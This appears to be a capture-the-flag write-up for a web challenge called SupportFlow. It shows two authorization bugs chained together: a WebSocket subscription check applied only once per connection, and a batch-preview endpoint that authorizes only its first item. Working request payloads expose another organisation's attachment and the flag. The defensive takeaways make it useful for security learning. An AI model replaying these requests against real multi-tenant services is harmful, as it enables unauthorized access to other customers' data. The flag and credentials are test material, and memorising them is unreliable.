Skip to content
Adam Omar Saleh

FlagYard CTF placeholder badge (unofficial)FlagYard CTFWeb

SupportFlow

Two "only the first item in the request is authorized" bugs chained together:

Competition
FlagYard CTF placeholder badge (unofficial)FlagYard CTF
Category
WebMedium
Source status
Source-documented · not platform-verified
Document
PDF edition3 min read

Brief

The challenge

Category
WEB
Difficulty
Medium
Target
http://ccf80c38b3fdbc86d316666f06621acc.playat.flagyard.com
Credentials
analyst@acme.local / support123

SupportFlow recently rolled out a new real-time ticket experience. One of our internal teams says customers occasionally receive updates they shouldn't be seeing. Can you figure out what is happening?

TL;DR

Two "only the first item in the request is authorized" bugs chained together:

  1. WebSocket /ws subscribe authorizes only the first subscription on a connection. Subscribe to a ticket you own, then subscribe to another org's ticket_9001 on the same socket — it is accepted and replays that ticket's messages and attachment id.

  2. POST /api/attachments/batch-preview authorizes only the first attachment in the batch. Put an attachment you own first, then the private att_private_9001 id, and the response leaks the private attachment's content — which contains the flag.

01

Recon

Logging in returns a signed session cookie whose payload is just v1|user_analyst|org_acme|analyst|<exp> (base64 + HMAC). The user is an analyst in org_acme and the inbox only shows two tickets (ticket_1001, ticket_1002), yet /api/me reports latestTicketSequence: 9001 — a strong hint there is a high-numbered ticket we aren't meant to see.

/static/app.js shows the "real-time" design:

  • Open a ticket → open ws://host/ws → send {"action":"subscribe","channel":"ticket","ticketId":...}.

  • On a successful subscribe the server replays the ticket's history (message bodies + attachment_added events) down the socket.

  • Attachment previews come from POST /api/attachments/batch-preview with a list of {id, operation:"preview"}.

Direct access to the hidden ticket is blocked:

Text
GET /api/tickets/ticket_9001                      -> 403 {"error":"forbidden"}ws subscribe ticketId=ticket_9001  (fresh socket) -> {"error":"forbidden"}POST batch-preview id=att_private_9001            -> 403 {"error":"forbidden"}

ticket_9001 exists but belongs to another org (forbidden, distinct from the not_found returned for non-existent ids). ticketId is validated against [A-Za-z0-9_-]{1,64}, so path tricks, whitespace and case changes all fail.

02

Bug #1 — per-connection WebSocket auth

The subscribe authorization is checked once per connection, not per message. On a fresh socket ticket_9001 is forbidden, but if you first subscribe to a ticket you legitimately own, the connection is considered authorized and every later subscribe is accepted:

Text
SEND {"action":"subscribe","channel":"ticket","ticketId":"ticket_1001"}   # owned -> OKRECV {"event":"subscribed","ticketId":"ticket_1001"} + its replaySEND {"action":"subscribe","channel":"ticket","ticketId":"ticket_9001"}   # other orgRECV {"event":"subscribed","ticketId":"ticket_9001"}RECV {"event":"message","message":{"author":"Operations","body":"Please keep this escalation restricted to internal operations.",...}}RECV {"event":"message","message":{"author":"Support","body":"Diagnostic data attached.",...}}RECV {"event":"attachment_added","attachment":{"filename":"support-escalation.txt","id":"att_private_9001"}}

This is exactly the "customers occasionally receive updates they shouldn't be seeing" behaviour from the brief. It leaks the private attachment id att_private_9001, but the WS event only carries the filename, not the content.

03

Bug #2 — batch-preview authorizes only the first item

batch-preview for att_private_9001 alone returns forbidden. But the handler only authorizes the first entry in the attachments array. Putting an attachment we own (att_public_001) first and the private id second bypasses the check and returns the private content:

JSON
POST /api/attachments/batch-preview{"attachments":[  {"id":"att_public_001","operation":"preview"},  {"id":"att_private_9001","operation":"preview"}]}
Text
...SupportFlow Internal Escalation...CTF reference:FlagY{f70fbc00a81404b4ff2a343a2e0e0d36}

Solve script

exploit.py chains both bugs: log in, leak the private attachment id over the WebSocket, then read its content through the batch-preview IDOR.

Shell
python exploit.py

Flag

Flag

FlagY{f70fbc00a81404b4ff2a343a2e0e0d36}

Source-documented · not platform-verified

Takeaways

  • Authorize every item in a batch/stream, not just the first one. Both the WebSocket subscribe loop and the attachment batch handler checked access once and then trusted the rest.

  • A per-connection "is this user allowed?" flag is not the same as a per-resource check — long-lived sockets must re-authorize each subscription.

  • When one leak only exposes an identifier (here an attachment id), look for a second endpoint that turns that identifier into data.

PDF edition

Writeup PDF

Formatted edition of this walkthrough, built from my source notes · 4 pages.